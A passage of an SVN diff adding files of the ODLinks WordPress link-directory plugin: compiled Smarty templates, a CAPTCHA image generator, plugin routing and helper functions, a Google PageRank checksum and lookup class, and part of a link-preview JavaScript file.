+/images/refer.gif"><?php echo $this->_tpl_vars['item']['sendlink']; ?>
+
+			&nbsp;&nbsp;<?php echo $this->_tpl_vars['item']['rank_txt']; ?>
+<img src="<?php echo $this->_tpl_vars['odl_images']; ?>
+/images/<?php echo $this->_tpl_vars['item']['rank_img']; ?>
+">
+			</td></tr></table>
+			<?php endif; ?>
+			</div>
+		<?php endforeach; endif; unset($_from); ?>
+	<?php endif; ?>
+	<BR />
+	<BR />
+	<?php if ($this->_tpl_vars['new_links']): ?>
+		<h3>Last <?php echo $this->_tpl_vars['linksNum']; ?>
+ links posted...</h3>
+		<?php $_from = $this->_tpl_vars['new_links']; if (!is_array($_from) && !is_object($_from)) { settype($_from, 'array'); }if (count($_from)):
+    foreach ($_from as $this->_tpl_vars['key'] => $this->_tpl_vars['item']):
+?>
+			<a href="<?php echo $this->_tpl_vars['item']['url']; ?>
+" class="previewlink" target=_blank>&nbsp;&nbsp;&nbsp;</a><a href="<?php echo $this->_tpl_vars['item']['url']; ?>
+" target=_blank><?php echo $this->_tpl_vars['item']['title']; ?>
+</a>&nbsp;
+			<div class="smallTxt">(<?php echo $this->_tpl_vars['item']['category']; ?>
+&nbsp;[<?php echo $this->_tpl_vars['item']['date']; ?>
+])</div><br />
+		<?php endforeach; endif; unset($_from); ?>
+	<?php endif; ?>
+	<BR />
+	<?php if ($this->_tpl_vars['googlebtn']): ?>
+		<div class="odl_googleAd"><?php echo $this->_tpl_vars['odl_googleAd']; ?>
+</div>
+	<?php endif; ?>
+	<h3>Legend</h3>
+	<span class ="smallTxt">Categories: <?php echo $this->_tpl_vars['categories_total']; ?>
+, Links: <?php echo $this->_tpl_vars['links_total']; ?>
+</span>
+
+<?php $_smarty_tpl_vars = $this->_tpl_vars;
+$this->_smarty_include(array('smarty_include_tpl_file' => 'footer.tpl', 'smarty_include_vars' => array()));
+$this->_tpl_vars = $_smarty_tpl_vars;
+unset($_smarty_tpl_vars);
+ ?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/templates_c/%%F7^F7F^F7F34188%%header.tpl.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/templates_c/%%F7^F7F^F7F34188%%header.tpl.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/templates_c/%%F7^F7F^F7F34188%%header.tpl.php	(revision 44)
@@ -0,0 +1,19 @@
+<?php /* Smarty version 2.6.14, created on 2009-07-11 14:36:08
+         compiled from header.tpl */ ?>
+
+<link rel="stylesheet" href="<?php echo $this->_tpl_vars['odl_images']; ?>
+/themes/default/css/odlinks.css" type="text/css" media="screen">
+
+
+<div class="odl_head">
+	Submitting your website URL link to <b>our free online web directory</b><br>
+	This will help you to get high quality traffic back to your site and increase your link popularity.
+	<div style="float:right; padding:5px; margin:5px; font-weight:bold; color:#006500;">PLEASE CHOOSE A TOPIC AND SUBMIT YOUR POST</div>
+	<!--div class="wpc_head_img"><img src=<?php echo $this->_tpl_vars['odl_images']; ?>
+/images/folder.gif></div-->
+	<div class="odl_head_desc"><?php echo $this->_tpl_vars['odl_top_link']; ?>
+&nbsp;<?php echo $this->_tpl_vars['odl_description']; ?>
+</div>
+</div><!--wpc_head--> 
+
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/templates_c/none.tpl.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/templates_c/none.tpl.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/templates_c/none.tpl.php	(revision 44)
@@ -0,0 +1,1 @@
+none
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/captcha_class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/captcha_class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/captcha_class.php	(revision 44)
@@ -0,0 +1,310 @@
+<?php
+
+/* 
+* This class is taken in part from the Code of 
+* PhpCaptcha CAPTCHA generation library from Edward Eliot.
+* class defaults - change to effect globally
+*/
+   session_start();
+   define('CAPCC_WIDTH', 120); // max 500
+   define('CAPCC_HEIGHT', 50); // max 200
+   define('CAPCC_NUM_CHARS', 4);
+   define('CAPCC_NUM_LINES', 20);
+   define('CAPCC_CHAR_SHADOW', false);
+   define('CAPCC_CHAR_SET', ''); // defaults to A-Z
+   define('CAPCC_CASE_INSENSITIVE', true);
+   define('CAPCC_BACKGROUND_IMAGES', '');
+   define('CAPCC_MIN_FONT_SIZE', 12);
+   define('CAPCC_MAX_FONT_SIZE', 20);
+   define('CAPCC_USE_COLOUR', true);
+   define('CAPCC_FILE_TYPE', 'png');
+   
+   /************************ End Default Options **********************/
+   
+   // don't edit below this line (unless you want to change the class!)
+   
+   class _odl_captcha {
+      var $oImage;
+      var $iWidth = CAPCC_WIDTH;
+      var $iHeight = CAPCC_HEIGHT;
+      var $aFonts;
+      var $iNumChars;
+      var $iNumLines;
+      var $iSpacing;
+      var $bCharShadow;
+      var $aCharSet;
+      var $bCaseInsensitive;
+      var $vBackgroundImages;
+      var $iMinFontSize;
+      var $iMaxFontSize;
+      var $bUseColour;
+      var $sFileType;
+      var $sCode = '';
+      
+    
+      function _odl_captcha($aFonts) {
+         // get parameters
+         $this->aFonts = $aFonts;
+         $this->SetNumChars(CAPCC_NUM_CHARS);
+         $this->SetNumLines(CAPCC_NUM_LINES);
+         $this->DisplayShadow(CAPCC_CHAR_SHADOW);
+         $this->SetCharSet(CAPCC_CHAR_SET);
+         $this->CaseInsensitive(CAPCC_CASE_INSENSITIVE);
+         $this->SetBackgroundImages(CAPCC_BACKGROUND_IMAGES);
+         $this->SetMinFontSize(CAPCC_MIN_FONT_SIZE);
+         $this->SetMaxFontSize(CAPCC_MAX_FONT_SIZE);
+         $this->UseColour(CAPCC_USE_COLOUR);
+         $this->SetFileType(CAPCC_FILE_TYPE);   
+         $this->SetWidth(CAPCC_WIDTH);
+         $this->SetHeight(CAPCC_HEIGHT);
+      }
+      
+      function CalculateSpacing() {
+         $this->iSpacing = (int)($this->iWidth / $this->iNumChars);
+      }
+      
+      function SetWidth($iWidth) {
+         $this->iWidth = $iWidth;
+         if ($this->iWidth > 500) $this->iWidth = 500; // to prevent perfomance impact
+         $this->CalculateSpacing();
+      }
+      
+      function SetHeight($iHeight) {
+         $this->iHeight = $iHeight;
+         if ($this->iHeight > 200) $this->iHeight = 200; // to prevent performance impact
+      }
+      
+      function SetNumChars($iNumChars) {
+         $this->iNumChars = $iNumChars;
+         $this->CalculateSpacing();
+      }
+      
+      function SetNumLines($iNumLines) {
+         $this->iNumLines = $iNumLines;
+      }
+      
+      function DisplayShadow($bCharShadow) {
+         $this->bCharShadow = $bCharShadow;
+      }
+
+      
+      function SetCharSet($vCharSet) {
+         // check for input type
+         if (is_array($vCharSet)) {
+            $this->aCharSet = $vCharSet;
+         } else {
+            if ($vCharSet != '') {
+               // split items on commas
+               $aCharSet = explode(',', $vCharSet);
+               // initialise array
+               $this->aCharSet = array();
+               // loop through items 
+               foreach ($aCharSet as $sCurrentItem) {
+                  // a range should have 3 characters, otherwise is normal character
+                  if (strlen($sCurrentItem) == 3) {
+                     // split on range character
+                     $aRange = explode('-', $sCurrentItem);
+                     // check for valid range
+                     if (count($aRange) == 2 && $aRange[0] < $aRange[1]) {
+                        // create array of characters from range
+                        $aRange = range($aRange[0], $aRange[1]);
+                        // add to charset array
+                        $this->aCharSet = array_merge($this->aCharSet, $aRange);
+                     }
+                  } else {
+                     $this->aCharSet[] = $sCurrentItem;
+                  }
+               }
+            }
+         }
+      }
+      
+      function CaseInsensitive($bCaseInsensitive) {
+         $this->bCaseInsensitive = $bCaseInsensitive;
+      }
+      
+      function SetBackgroundImages($vBackgroundImages) {
+         $this->vBackgroundImages = $vBackgroundImages;
+      }
+      
+      function SetMinFontSize($iMinFontSize) {
+         $this->iMinFontSize = $iMinFontSize;
+      }
+      
+      function SetMaxFontSize($iMaxFontSize) {
+         $this->iMaxFontSize = $iMaxFontSize;
+      }
+      
+      function UseColour($bUseColour) {
+         $this->bUseColour = $bUseColour;
+      }
+      
+      function SetFileType($sFileType) {
+         // check for valid file type
+         if (in_array($sFileType, array('gif', 'png', 'jpeg'))) {
+            $this->sFileType = $sFileType;
+         } else {
+            $this->sFileType = 'jpeg';
+         }
+      }
+      
+      function DrawLines() {
+         for ($i = 0; $i < $this->iNumLines; $i++) {
+            // allocate colour
+            if ($this->bUseColour) {
+               $iLineColour = imagecolorallocate($this->oImage, rand(100, 250), rand(100, 250), rand(100, 250));
+            } else {
+               $iRandColour = rand(100, 250);
+               $iLineColour = imagecolorallocate($this->oImage, $iRandColour, $iRandColour, $iRandColour);
+            }
+            // draw line
+            imageline($this->oImage, rand(0, $this->iWidth), rand(0, $this->iHeight), rand(0, $this->iWidth), rand(0, $this->iHeight), $iLineColour);
+         }
+      }
+      
+      function GenerateCode() {
+         // reset code
+         $this->sCode = '';
+         // loop through and generate the code letter by letter
+         for ($i = 0; $i < $this->iNumChars; $i++) {
+            if (count($this->aCharSet) > 0) {
+               // select random character and add to code string
+               $this->sCode .= $this->aCharSet[array_rand($this->aCharSet)];
+            } else {
+               // select random character and add to code string
+               $this->sCode .= chr(rand(65, 90));
+            }
+         }
+         // save code in session variable
+         if ($this->bCaseInsensitive) {
+            $_SESSION[CAPCC_SESSION_ID] = strtoupper($this->sCode);
+         } else {
+            $_SESSION[CAPCC_SESSION_ID] = $this->sCode;
+         }
+      }
+      
+      function DrawCharacters() {
+         // loop through and write out selected number of characters
+         for ($i = 0; $i < strlen($this->sCode); $i++) {
+            // select random font
+            $sCurrentFont = $this->aFonts[array_rand($this->aFonts)]; 
+	    // select random colour
+            if ($this->bUseColour) {
+               $iTextColour = imagecolorallocate($this->oImage, rand(0, 100), rand(0, 100), rand(0, 100));
+               if ($this->bCharShadow) {
+                  // shadow colour
+                  $iShadowColour = imagecolorallocate($this->oImage, rand(0, 100), rand(0, 100), rand(0, 100));
+               }
+            } else {
+               $iRandColour = rand(0, 100);
+               $iTextColour = imagecolorallocate($this->oImage, $iRandColour, $iRandColour, $iRandColour);
+               if ($this->bCharShadow) {
+                  // shadow colour
+                  $iRandColour = rand(0, 100);
+                  $iShadowColour = imagecolorallocate($this->oImage, $iRandColour, $iRandColour, $iRandColour);
+               }
+            }
+            // select random font size
+            $iFontSize = rand($this->iMinFontSize, $this->iMaxFontSize);
+            // select random angle
+            $iAngle = rand(-30, 30);
+            // get dimensions of character in selected font and text size
+            $aCharDetails = imageftbbox($iFontSize, $iAngle, $sCurrentFont, $this->sCode[$i], array());
+            // calculate character starting coordinates
+            $iX = $this->iSpacing / 4 + $i * $this->iSpacing;
+            $iCharHeight = $aCharDetails[2] - $aCharDetails[5];
+            $iY = $this->iHeight / 2 + $iCharHeight / 4; 
+            // write text to image
+            imagefttext($this->oImage, $iFontSize, $iAngle, $iX, $iY, $iTextColour, $sCurrentFont, $this->sCode[$i], array());
+            if ($this->bCharShadow) {
+               $iOffsetAngle = rand(-30, 30);
+               $iRandOffsetX = rand(-5, 5);
+               $iRandOffsetY = rand(-5, 5);
+               imagefttext($this->oImage, $iFontSize, $iOffsetAngle, $iX + $iRandOffsetX, $iY + $iRandOffsetY, $iShadowColour, $sCurrentFont, $this->sCode[$i], array());
+            }
+         }
+      }
+      
+      function create($sFilename = '') {
+         // check for required gd functions
+         if (!function_exists('imagecreate') || 
+			 !function_exists("image$this->sFileType") || ($this->vBackgroundImages != '' && !function_exists('imagecreatetruecolor'))) {
+  				return false;
+         }
+         // get background image if specified and copy to CAPTCHA
+         if (is_array($this->vBackgroundImages) || $this->vBackgroundImages != '') {
+            // create new image
+            $this->oImage = imagecreatetruecolor($this->iWidth, $this->iHeight);
+            // create background image
+            if (is_array($this->vBackgroundImages)) {
+               $iRandImage = array_rand($this->vBackgroundImages);
+               $oBackgroundImage = imagecreatefromjpeg($this->vBackgroundImages[$iRandImage]);
+            } else {
+               $oBackgroundImage = imagecreatefromjpeg($this->vBackgroundImages);
+            }
+            // copy background image
+            imagecopy($this->oImage, $oBackgroundImage, 0, 0, 0, 0, $this->iWidth, $this->iHeight);
+            // free memory used to create background image
+            imagedestroy($oBackgroundImage);
+         } else {
+            // create new image
+            $this->oImage = imagecreate($this->iWidth, $this->iHeight);
+	    //$this->oImage = imagecreatetruecolor($this->iWidth, $this->iHeight);
+         }
+         // allocate white background colour
+         imagecolorallocate($this->oImage, 255, 255, 255);
+         // check for background image before drawing lines
+         if (!is_array($this->vBackgroundImages) && $this->vBackgroundImages == '') {
+            $this->DrawLines();
+         }
+         $this->GenerateCode();
+         $this->DrawCharacters();
+         // write out image to file or browser
+         $this->WriteFile($sFilename);
+         // free memory used in creating image
+         imagedestroy($this->oImage);
+         return true;
+      }
+
+      function WriteFile($sFilename) {
+	if ($sFilename == '') {
+            // tell browser that data is jpeg
+            header("Content-type: image/" . $this->sFileType );
+	}
+	switch ($this->sFileType) {
+            case 'gif':
+               $sFilename != '' ? imagegif($this->oImage, $sFilename) : imagegif($this->oImage);
+               break;
+            case 'png':
+               $sFilename != '' ? imagepng($this->oImage, $sFilename) : imagepng($this->oImage);
+               break;
+            default:
+               $sFilename != '' ? imagejpeg($this->oImage, $sFilename) : imagejpeg($this->oImage);
+         }
+      }
+
+      // call this method statically
+      function Validate($sUserCode, $bCaseInsensitive = true) {
+         if ($bCaseInsensitive) {
+            $sUserCode = strtoupper($sUserCode);
+         }
+         if (!empty($_SESSION[CAPCC_SESSION_ID]) && $sUserCode == $_SESSION[CAPCC_SESSION_ID]) {
+            // clear to prevent re-use
+            unset($_SESSION[CAPCC_SESSION_ID]);
+            return true;
+         }
+         return false;
+      }
+   }
+
+   // example sub class
+   class _odl_captchaColour extends _odl_captcha {
+      function _odl_captchaColour($aFonts) {
+         // call parent constructor
+         parent::_odl_captcha($aFonts);
+         
+         // set options
+         $this->UseColour(true);
+      }
+   }
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/odl_functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/odl_functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/odl_functions.php	(revision 44)
@@ -0,0 +1,230 @@
+<?php
+
+/*
+ * odl_functions.php
+ * wordpress plugin open directory project
+ * @author Mohammad Forgani
+ * @copyright Copyright 2008, Oh Jung-Su
+ * @version 1.0
+ * @link http://www.forgani.com
+*/
+
+if (!$_SESSION) session_start();
+require(ABSPATH . ODLSMARTY . '/Smarty.class.php');
+
+class ODLTemplate extends Smarty { 
+	function ODLTemplate($cache = true, $cache_lifetime = 0){
+		global $smarty_template_dir, $smarty_compile_dir, $smarty_cache_dir, $smarty_config_dir;
+		$this->Smarty();
+		$this->template_dir = $smarty_template_dir;
+		$this->compile_dir = $smarty_compile_dir;
+		$this->config_dir = $smarty_config_dir;
+		$this->cache_dir = $smarty_cache_dir;
+		$this->caching = $cache;
+		$this->cache_lifetime = $cache_lifetime;
+	}
+}
+
+function odlinksget_wp_mainversion(){
+	global $odlinkswp_mainversion;
+	if ($odlinkswp_mainversion==false){
+		odlinksget_namefield();
+	}
+	return $odlinkswp_mainversion;
+}
+
+function odlinksget_pageinfo(){
+	global $wpdb, $odlinkswp_pageinfo, $table_prefix;
+
+	if ($odlinkswp_pageinfo==false){
+		$odlinkswp_pageinfo = $wpdb->get_row("SELECT * FROM {$table_prefix}posts WHERE post_title = '[[ODLINKS]]'", ARRAY_A);
+	}
+	return $odlinkswp_pageinfo;
+}
+
+function odlinkscreate_page(){
+	global $wpdb, $table_prefix, $wp_version;
+	$dt = date("Y-m-d");
+	$wpdb->query("INSERT INTO {$table_prefix}posts (post_author, post_date, post_date_gmt, post_content, post_title, post_category, post_excerpt, post_status, comment_status, ping_status, post_password, post_name, to_ping, pinged, post_modified, post_modified_gmt, post_content_filtered, post_parent, guid, menu_order, post_type) VALUES ('1', '$dt', '$dt', '[[ODLINKS]]', '[[ODLINKS]]', '0', '[[ODLINKS]]', 'publish', 'closed', 'closed', '', 'odlinks', '', '', '$dt', '$dt', '[[ODLINKS]]', '0', '', '0', 'page')");
+	return $wpdb->get_row("SELECT * FROM {$table_prefix}posts WHERE post_title = '[[ODLINKS]]'", ARRAY_A);
+}
+
+function odlinks_admin_page(){
+	global $odlinksadmin_links, $odlinks_name, $odlinksadmin_page_name, $odlinksuser_level;
+	add_menu_page($odlinksadmin_page_name,$odlinksadmin_page_name,$odlinksuser_level,__FILE__,'process_odlinkssettings','../wp-content/plugins/odlinks/images/odl.gif');
+	for ($i=0; $i<count($odlinksadmin_links); $i++){
+		$tlink = $odlinksadmin_links[$i];
+		add_submenu_page(__FILE__,$tlink['name'],$tlink['name'],$odlinksuser_level,$tlink['arg'],$tlink['prg']);
+	}
+
+	add_management_page($odlinksadmin_page_name, $odlinksadmin_page_name, $odlinksuser_level, $odlinks_name, 'odlinksadmin_page'); 
+}
+
+function odlinksrewrite_rules_wp($wp_rewrite){
+	global $wp_rewrite;
+	$odlinkssettings = get_option('odlinksdata');
+	$odlinksslug = $odlinkssettings['odlinksslug'];
+	$odlinksrules = array(
+	$odlinksslug.'/([^/\(\)]*)/?([^/\(\)]*)/?([^/\(\)]*)/?' => '/'.$odlinksslug.'/index.php?pagename='.$odlinksslug.'&_action=$matches[1]&id=$matches[2]&parent=$matches[3]');
+	$wp_rewrite->rules = $odlinksrules + $wp_rewrite->rules;
+}
+
+function odlinksquery_vars($vars){
+   $vars[] = '_action';
+   $vars[] = 'id';
+   $vars[] = 'orderby';
+   $vars[] = 'who';
+   return $vars;
+}
+
+function odlinks_excerpt_text($length, $text){
+	$text = strip_tags(odlinkscreate_post_html($text));
+	if(strlen($text)>$length){
+		$ret_strpos = strpos($text, ' ', $length);
+		$ret = substr($text, 0, $ret_strpos)." ...";
+	}else{
+		$ret = $text;
+	}
+	return $ret;
+}
+
+function odlinkspage_handle_title($title){
+	global $odl_breadcrumbs;
+	if ($odl_breadcrumbs==""){
+		$sidebar = 0;
+		$odl_breadcrumbs = odlinksget_breadcrumbs($sidebar);
+	}
+	return str_replace("[[ODLINKS]]", $odl_breadcrumbs, $title);
+}
+
+function odlinkspage_handle_pagetitle($title){
+	global $odl_pagetitle;
+	return str_replace("[[ODLINKS]]", "ODLinks  &raquo; ", $title);
+}
+
+function odlinkspage_handle_content($content){
+	if (eregi("\[\[ODLINKS\]\]", $content)){
+		odlinksprocess();
+		return "";
+	} else {
+		return $content;
+	}
+}
+
+function odlinkspage_handle_titlechange($title){
+	global $odl_breadcrumbs;
+	$sidebar = 0;
+	$odl_breadcrumbs = odlinksget_breadcrumbs($sidebar);
+	$odlinkssettings = get_option('odlinksdata');
+	$title = str_replace($odl_breadcrumbs, $odlinkssettings["page_link_title"], $title);
+	$title = str_replace("[[ODLINKS]]", $odlinkssettings["page_link_title"], $title);
+	return $title;
+}
+
+function odlinksget_breadcrumbs($sidebar){
+	global $_GET, $_POST, $table_prefix, $wpdb, $_SERVER, $wp_version;
+	$g__action = get_query_var("_action");
+	$id = get_query_var("id");
+	$parent = get_query_var("parent");
+	if (basename($_SERVER['PHP_SELF'])!='index.php'){
+		return "[[ODLINKS]]";
+	} else {
+		$odlinkssettings = get_option('odlinksdata');
+		if (!$_POST['search_terms'] && $sidebar=0) {
+			$g__action = "sidebar";
+		} elseif (!$_POST['search_terms']) {
+			$g__action = $g__action;
+		} else {
+			$g__action = "search";
+		}
+		switch ($g__action){
+			default:
+			case "index":
+				return '<strong class="odl_breadcrumb">'.$odlinkssettings['page_link_title'].'</strong>';
+			break;
+		}
+	}
+}
+
+function odlinkscreate_link($action, $vars){
+	global $wpdb, $table_prefix, $wp_rewrite;
+	$pageinfo = odlinksget_pageinfo();
+	$odlinkssettings = get_option('odlinksdata');
+	$rewrite = ($wp_rewrite->get_page_permastruct()=="")?false:true;
+	$odl_vars_name = $vars["name"];
+	$odl_vars_name = preg_replace('/[^A-Za-z0-9\s\.]/', "", $odl_vars_name);
+	$odl_vars_name = preg_replace('/\s/', '-', $odl_vars_name);
+	$odl_vars_name = preg_replace('/\./', '-', $odl_vars_name);
+
+	$name = trim($vars["name"]);
+	switch ($action){
+		case "index":
+			return ($rewrite)?"<a href=\"".get_bloginfo('url')."/".$pageinfo["post_name"]."/".$vars["parent"]."/\">".$name."</a>":"<a href=\"".get_bloginfo('url')."/?page_id=".$pageinfo["ID"]."&amp;_action=index\">".$name."</a>";
+		break;
+		case "category":
+			return ($rewrite)?"<a href=\"".get_bloginfo('url')."/".$pageinfo["post_name"]."/main/".$vars["id"]."\">".$name."</a>":"<a href=\"".get_bloginfo('url')."/?page_id=".$pageinfo["ID"]."&amp;_action=main&amp;id=".$vars["id"]."&amp;parent=".$vars['parent']."\">".$name."</a>";
+		break;
+		case "postlink":
+			return ($rewrite)?"<a 
+			href=\"".get_bloginfo('url')."/".$pageinfo["post_name"]."/postlink/".$vars['id']."/".$vars['parent']."\">".$name."</a>":"<a href=\"".get_bloginfo('url')."/?page_id=".$pageinfo["ID"]."&amp;_action=postlink&amp;id=".$vars["id"]."&amp;parent=".$vars['parent'] ."\">".$name."</a>";
+		break;
+
+		case "searchlink":
+			return ($rewrite)?"<a href=\"".get_bloginfo('url')."/".$pageinfo["post_name"]."/searchlink/"."\">".$name."</a>":"<a href=\"".get_bloginfo('url')."/?page_id=".$pageinfo["ID"]."&amp;_action=searchlink" ."\">".$name."</a>";
+		break;
+
+		case "searchform":
+			return ($rewrite)?get_bloginfo('wpurl')."/".$pageinfo["post_name"]."/searchlink/":get_bloginfo('wpurl')."/?page_id=".$pageinfo["ID"]."&_action=searchlink";
+		break;
+
+		case "sendlink":
+			return ($rewrite)?"<a style=\"color:green\"  href=\"".get_bloginfo('url')."/".$pageinfo["post_name"]."/sendlink/".$vars['id']."\">".$name."</a>":"<a style=\"color:green\"  href=\"".get_bloginfo('url')."/?page_id=".$pageinfo["ID"]."&amp;_action=sendlink&amp;id=".$vars["id"]."\">".$name."</a>";
+		break;
+
+		case "sendform":
+			return ($rewrite)?get_bloginfo('wpurl')."/".$pageinfo["post_name"]."/sendlink/":get_bloginfo('wpurl')."/?page_id=".$pageinfo["ID"]."&_action=sendlink";
+		break;
+	}
+}
+
+
+
+function odlinksprocess(){
+	global $_GET, $_POST, $table_prefix, $wpdb, $wp_version;
+
+	
+	$action = get_query_var("_action");
+	$odlinkssettings = get_option('odlinksdata');
+	switch ($action){
+		default:
+		case "main":
+			odlinksdisplay_index($msg); 
+		break;
+
+		case "searchlink":
+			odlinksdisplay_search();
+		break;
+
+		case "postlink":
+			odlinkspost_link($confirm);
+		break;
+
+		case "sendlink":
+			odlinkssend_link($confirm);
+		break;
+
+		case "install";
+			echo "Please install ODLinks by saving the Settings in the ODLinks Admin area.";
+		break;
+	}
+}
+
+function odlinks_footer($tpl){
+	$odlinkssettings = get_option('odlinksdata');
+	if ($odlinkssettings['odlinksshow_credits']=='y'){
+		$tpl->assign('odlinksshow_credits', str_replace("[VERSION]", $odlinkssettings['odlinksversion'], stripslashes($odlinkssettings['odlinks_credit_line'])));
+	}
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/pagerank.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/pagerank.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/pagerank.php	(revision 44)
@@ -0,0 +1,124 @@
+<?php
+/******************
+
+ ******************/
+
+define('GOOGLE_MAGIC', 0xE6359A60);
+
+class ODLPagerank extends PageRank {
+	function xor32($a, $b) {
+		return $this->int32($a) ^ $this->int32($b);
+	}
+	function int32($x) {
+		return unserialize("i:$x;");
+	}
+
+	function mix($a,$b,$c) {
+		$a -= $b; $a -= $c; $a = $this->xor32($a,$this->zeroFill($c,13));
+		$b -= $c; $b -= $a; $b = $this->xor32($b,$a<<8);
+		$c -= $a; $c -= $b; $c = $this->xor32($c,$this->zeroFill($b,13));
+		$a -= $b; $a -= $c; $a = $this->xor32($a,$this->zeroFill($c,12));
+		$b -= $c; $b -= $a; $b = $this->xor32($b,$a<<16);
+		$c -= $a; $c -= $b; $c = $this->xor32($c,$this->zeroFill($b,5));
+		$a -= $b; $a -= $c; $a = $this->xor32($a,$this->zeroFill($c,3));
+		$b -= $c; $b -= $a; $b = $this->xor32($b,$a<<10);
+		$c -= $a; $c -= $b; $c = $this->xor32($c,$this->zeroFill($b,15));
+		return array($a,$b,$c);
+	}
+}
+
+class PageRank {
+	function zeroFill($a, $b){
+		$z = hexdec(80000000);
+		if ($z & $a){
+			$a = ($a>>1);
+			$a &= (~$z);
+			$a |= 0x40000000;
+			$a = ($a>>($b-1));
+		}else{
+			$a = ($a>>$b);
+		}
+		return $a;
+	}
+
+	function mix($a,$b,$c) {
+		$a -= $b; $a -= $c; $a ^= ($this->zeroFill($c,13));
+		$b -= $c; $b -= $a; $b ^= ($a<<8);
+		$c -= $a; $c -= $b; $c ^= ($this->zeroFill($b,13));
+		$a -= $b; $a -= $c; $a ^= ($this->zeroFill($c,12));
+		$b -= $c; $b -= $a; $b ^= ($a<<16);
+		$c -= $a; $c -= $b; $c ^= ($this->zeroFill($b,5));
+		$a -= $b; $a -= $c; $a ^= ($this->zeroFill($c,3));
+		$b -= $c; $b -= $a; $b ^= ($a<<10);
+		$c -= $a; $c -= $b; $c ^= ($this->zeroFill($b,15));
+		return array($a,$b,$c);
+	}
+
+	function GoogleCH($url, $length=null, $init=GOOGLE_MAGIC) {
+		if(is_null($length)) {
+			$length = sizeof($url);
+		}
+		$a = $b = 0x9E3779B9;
+		$c = $init;
+		$k = 0;
+		$len = $length;
+		while($len >= 12) {
+			$a += ($url[$k+0] +($url[$k+1]<<8) +($url[$k+2]<<16) +($url[$k+3]<<24));
+			$b += ($url[$k+4] +($url[$k+5]<<8) +($url[$k+6]<<16) +($url[$k+7]<<24));
+			$c += ($url[$k+8] +($url[$k+9]<<8) +($url[$k+10]<<16)+($url[$k+11]<<24));
+			$mix = $this->mix($a,$b,$c);
+			$a = $mix[0]; $b = $mix[1]; $c = $mix[2];
+			$k += 12;
+			$len -= 12;
+		}
+		$c += $length;
+		switch($len){
+			case 11: $c+=($url[$k+10]<<24);
+			case 10: $c+=($url[$k+9]<<16);
+			case 9 : $c+=($url[$k+8]<<8);
+			case 8 : $b+=($url[$k+7]<<24);
+			case 7 : $b+=($url[$k+6]<<16);
+			case 6 : $b+=($url[$k+5]<<8);
+			case 5 : $b+=($url[$k+4]);
+			case 4 : $a+=($url[$k+3]<<24);
+			case 3 : $a+=($url[$k+2]<<16);
+			case 2 : $a+=($url[$k+1]<<8);
+			case 1 : $a+=($url[$k+0]);
+		}
+		$mix = $this->mix($a,$b,$c);
+		return $mix[2];
+	}
+
+	function strord($string) {
+		for($i=0;$i<strlen($string);$i++) {
+			$result[$i] = ord($string{$i});
+		}
+		return $result;
+		}
+
+	function getRank($url){
+		$ch = "6".$this->GoogleCH($this->strord("info:" . $url));
+
+		$pagerank=-1;
+		$fp = fsockopen("www.google.com", 80, $errno, $errstr, 30);
+		if (!$fp) {
+			echo "$errstr ($errno)<br />\n";
+		} else {
+			$out = "GET /search?client=navclient-auto&ch=" . $ch .  "&features=Rank&q=info:" . $url . " HTTP/1.1\r\n" ;
+			$out .= "Host: www.google.com\r\n" ;
+			$out .= "Connection: Close\r\n\r\n" ;
+			fwrite($fp, $out);
+			while (!feof($fp)) {
+				$data = fgets($fp, 128);
+				$pos = strpos($data, "Rank_");
+				if($pos === false){
+				}else{
+				$pagerank = trim(substr($data, $pos + 9));
+				}
+			}
+			fclose($fp);
+		}
+		return $pagerank;
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/previewbubble.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/previewbubble.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/previewbubble.js	(revision 44)
@@ -0,0 +1,229 @@
+/*
+    WebSnapr - Preview Bubble Javascript
+    Written by Juan Xavier Larrea 
+    http://www.websnapr.com - xavier@websnapr.com   
+    
+*/
+
+// DO NOT EDIT BENEATH THIS
+if(typeof Array.prototype.push!="function"){
+	Array.prototype.push=ArrayPush;
+	function ArrayPush(_1){
+		this[this.length]=_1;
+	}
+}
+function WSR_getElementsByClassName(_2,_3,_4){
+	var _5=(_3=="*"&&_2.all)?_2.all:_2.getElementsByTagName(_3);
+	var _6=new Array();
+	_4=_4.replace(/\-/g,"\\-");
+	var _7=new RegExp("(^|\\s)"+_4+"(\\s|$)");
+	var _8;
+	for(var i=0;i<_5.length;i++){
+		_8=_5[i];
+		if(_7.test(_8.className)){
+			_6.push(_8);
+		}
+	}
+	return (_6);
+}
+function bindBubbles(e){
+	lbActions=WSR_getElementsByClassName(document,"a","previewlink");
+	for(i=0;i<lbActions.length;i++){
+		if(window.addEventListener){
+			lbActions[i].addEventListener("mouseover",attachBubble,false);
+			lbActions[i].addEventListener("mouseout",detachBubble,false);
+		}else{
+			lbActions[i].attachEvent("onmouseover",attachBubble);
+			lbActions[i].attachEvent("onmouseout",detachBubble);
+		}
+	}
+}
+function attachBubble(_b){
+	var _c;
+	if(_b["srcElement"]){
+		_c=_b["srcElement"];
+	}else{
+		_c=_b["target"];
+	}
+	var	_d=_c.href;
+	var _e=findPos(_c)[0]+5;
+	var _f=findPos(_c)[1]+17;
+	var _10=document.createElement("div");
